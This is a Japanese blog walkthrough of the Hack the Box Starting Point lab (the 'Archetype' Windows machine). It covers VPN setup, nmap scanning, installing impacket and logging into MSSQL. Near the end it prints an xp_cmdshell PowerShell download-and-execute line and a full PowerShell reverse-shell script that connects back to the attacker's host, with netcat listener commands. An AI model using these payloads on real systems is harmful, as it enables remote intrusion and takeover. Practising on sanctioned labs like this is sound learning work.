メニュー 閉じる

Hack the BoxのStarting Pointと設定周りのTipsを教えます

皆さんこんにちは。
今日はHack the Boxの導入であるStarting Pointという課題に初心者が挑みました。

このお題の標的は完全にWindowsサーバーですね。

結論として「LinuxOSとWindowsサーバー周りの勉強としてもってこい!」と感じました。
まず、Kali Linuxのインストールから、Hack the Boxの仮想サーバーへのVPN接続、
そして各種ツールの導入など基本的なUnix操作の勉強になりますね。

今までどれだけ自分がわかった気で操作していたか、
コピペで対応してきたか思い知りました・・・

ちょっとハッカーやクラッキング、Penetration Testなどに興味があるという人が、
コンピューターの世界をもっと好きになるためにはものすごくおすすめかも知れません。

なによりもエンジニアにとって一番大切と思われる、
Webで調べながら一番良さそうな方法を試してみるという練習ができます。

 

Hack the Boxに挑戦するための環境の前提

 

VirtualBoxなどでKali Linuxをインストール済み
Python3導入済み
Pip導入済み

以下、Hack the Boxは「HTB」と省略します。

 

HTBサーバーへVPN接続のための初期設定

 

HTBではVMWareなどの仮想環境上に構築したKali Linuxを推奨しています。

HTB自体が共有ネットワーク環境であることから、プライベートのメインのOSを利用した際に、
プライベートな情報が筒抜けになっていまうという可能性もなくはない?からです。

なお私はOracle VMWare上にインストールするOSとしてKali Linuxにしました。
セキュリティ的に優れていることやたくさんのハッキングツールがプリインストールされています。
Kali Linuxの他にはParrot Security Editionも推奨されています。

さて、まず初心者が一番最初に行うチュートリアルとして用意されているのがStarting Pointです。
ここで基本的な接続法であるOpenVPNを利用した接続を学ぶことができます。

Hack the Boxにログイン後「Lab」→「Staring Point」を選択してください。
ここでまずソフトウェアについての説明とインストールを行い、次にVPN接続を行います。
ユーザーはDawn Connection PackというファイルをDLします。

ここで気をつけたいのはちゃんとこのページに用意されている、
Starting Point用の.opvnファイルを再度DLすることです。
私は以前Hack the Box登録時にDLしたと思われる別のファイルを利用して何度も接続に失敗しました。

必ずStaring Pointのページから再度Download Connection PackをDLし直してください。

このファイルをDLしたフォルダ内に移動してから、
指示通り以下のコマンドでOpenVPN接続を実施しましょう。

sudo openvpn (ユーザーごとに異なる).ovpn

接続に失敗したときは以下のようなエラーメッセージが表示されます。

Error #487: Your port specifications are illegal. Example of proper form: "-100,200-1024,T:3000-4000,U:60000-"
QUITTING!

IPアドレスは2020年12月19日現在、私の環境からは10.10.10.27と指定されていますが、
もしかすると、定期的に変化することもあると思われます。

VPN接続が完了するとifconfigコマンドでeth0とtun0が表示されます。
参考までに以下のようなメッセージが表示されるとVPN接続が完了しています。
(もちろん各自表示内容は異なります)

┌──(kali㉿kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.xx.xx netmask 255.255.255.0 broadcast 10.0.xx.xx
inet6 fe80::a00:27ff:feab:81c prefixlen 64 scopeid 0x20<link>
ether 08:00:27:av:08:1c txqueuelen 1000 (Ethernet)
RX packets 2959 bytes 1111149 (1.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6938 bytes 870063 (849.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.xx netmask xx.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2028 bytes 101180 (98.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2028 bytes 101180 (98.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.xx.xx netmask 255.255.254.0 destination 10.10.xx.xx
inet6 fe80::f697:8a2c:f597:3487 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef:2::1929 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 543 bytes 21720 (21.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 569 bytes 34116 (33.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ここまでで接続は完了しているのでHTBのLab環境が使えます。
指示通りコマンドを叩いてみるとターゲットのポートをスキャンします。

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

どうしてもうまくできないという人を海外のQAサイト等で見てみると、
おそらく以下の2つのポイントでつまずいています。

  1. 設定の.ovpnファイルがStaring Point用のものかチェック
  2. ポートスキャンを実施する先はターゲットのIP(上記で言えば10.10.10.27)かどうかチェック

参考にしてみてください。

 

【参考URL】

Starting Point all ports closed
https://www.reddit.com/r/hackthebox/comments/gk3haa/starting_point_all_ports_closed/

Starting point machine
https://forum.hackthebox.eu/discussion/2899/starting-point-machine

 

Kali Linuxへのimpacketの導入はgit cloneがおすすめ

 

Impacketはネットワーク・プロトコルを操作するPythonクラスです。
パケットへの低レベルのアクセスを提供するという機能があります。

下記Githubよりimpacketをインストールします。
impacketを導入するフォルダ内でgit cloneすることをおすすめします。

Python3のpackageは初期設定では以下のディレクトリに格納されます。
cdコマンドでpackageをインストールしたいところまで移動して、
mkdirでimpacketフォルダを作っておいても良いでしょう。

cd lib/python3/dist-packages/(この下にimpacketが作られるようにする)
impacketのツール類がcloneされてもよいフォルダ内で以下のコマンド
sudo git clone https://github.com/SecureAuthCorp/impacket.git .

 

Github impacket
https://github.com/SecureAuthCorp/impacket

 

余談ですがpipからimpacketをインストールすることもできますが、
pipでDLしたフォルダにはmssqlclient.pyが含まれません。

おそらくpipのほうはバージョンが古いものだと考えられますので、
GithubからCloneしてインストールされることを推奨します。

インストールしたいimpacketディレクトリで、pipを使ってインストールしましょう。
最後のドットは「今のフォルダ」という意味です。

pip3 install .

impacketがインストールされるとpip listでimpacketが表示されます。
そして、以下のファイルが見つかります。

impacket/examples/mssqlclient.py

すると、impacketが使えるようになりますので、
指示通りの方法でSQLサーバーに接続することができるでしょう。

┌──(kali㉿kali)-[/usr/…/dist-packages/impacket/impacket/examples]
└─$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> EXEC sp_configure 'Show Advanced Options', 1;
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> sp_configure;

【参考URL】
https://forum.hackthebox.eu/discussion/2984/starting-point-mssqlserver

【Hack The Box】Starting Point(Archetype)
https://qiita.com/YuasaJunki/items/400e50eadb00d1b970b0

 

HTBで使うxp_cmdshellがうまく動作しないときは?

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"

このポイントでつまづきやすい理由は以下のとおりです。

 

  1. 上記のコードをSQLの対話環境で行ってない
  2. http://10.10.14.3の部分を自分のIPに置き換えてない

 

このコマンドを入力する前にやることがいくつかあります。

まずは、impacketのmssqlclient.pyを使って、
以下のコードを入力してSQLサーバーに侵入する画面上で行ってください。

ちなみに、ここではコマンドラインは分けて使ってください。(画面分割、タブなど)
これはSQLサーバーに接続した後、今使っているターミナルがSQLの対話環境になるからです。

kali@kali:~$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')

SQLサーバーに侵入したら管理者権限のあるシェルを取得するため、
以下のコードでスクリプトを作成しshell.ps1という名前で保存します。

client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

このスクリプトはどこにおいても構いません。Desktopにおいておくと良いでしょう。

次にHTTPサーバーを建てる際にはそのディレクトリからサーバーを立ててください。
つまり、手順で説明されている以下のコードはshell.ps1のあるディレクトリから行います。

下記のコマンドもまた別のコマンドラインで実行しましょう。

kali@kali:~$ sudo python3 -m http.server 80

次にNetcat Listenerを使います。ncは簡易なクライアント、サーバのプロセスを起動するコマンドです。
ここではTCPのエコーサーバーを起動することができます。

下記のコマンドもまた別のコマンドラインを開いて実行します。
(このフェーズですでに3つの新しいコマンドラインを使っています!
なぜハッカーがあれほど黒い画面を開いているのかおわかりになりましたでしょうか?)

kali@kali:~$ sudo nc -lvnp 443

ufwでポート80と443を開けて標的のサーバーからのTCP接続を許可します。
こちらは通常のKaliのコマンドラインで実行して大丈夫です。

ufwがインストールされていない場合は先に下記のapt installを行ってください。

sudo apt -y install ufw
kali@kali:~$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443

最後に冒頭のコードを侵入したSQLサーバーで実行します。

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"

するとNetcat Listenerを立ち上げているコマンドラインでシェルを実行することができます。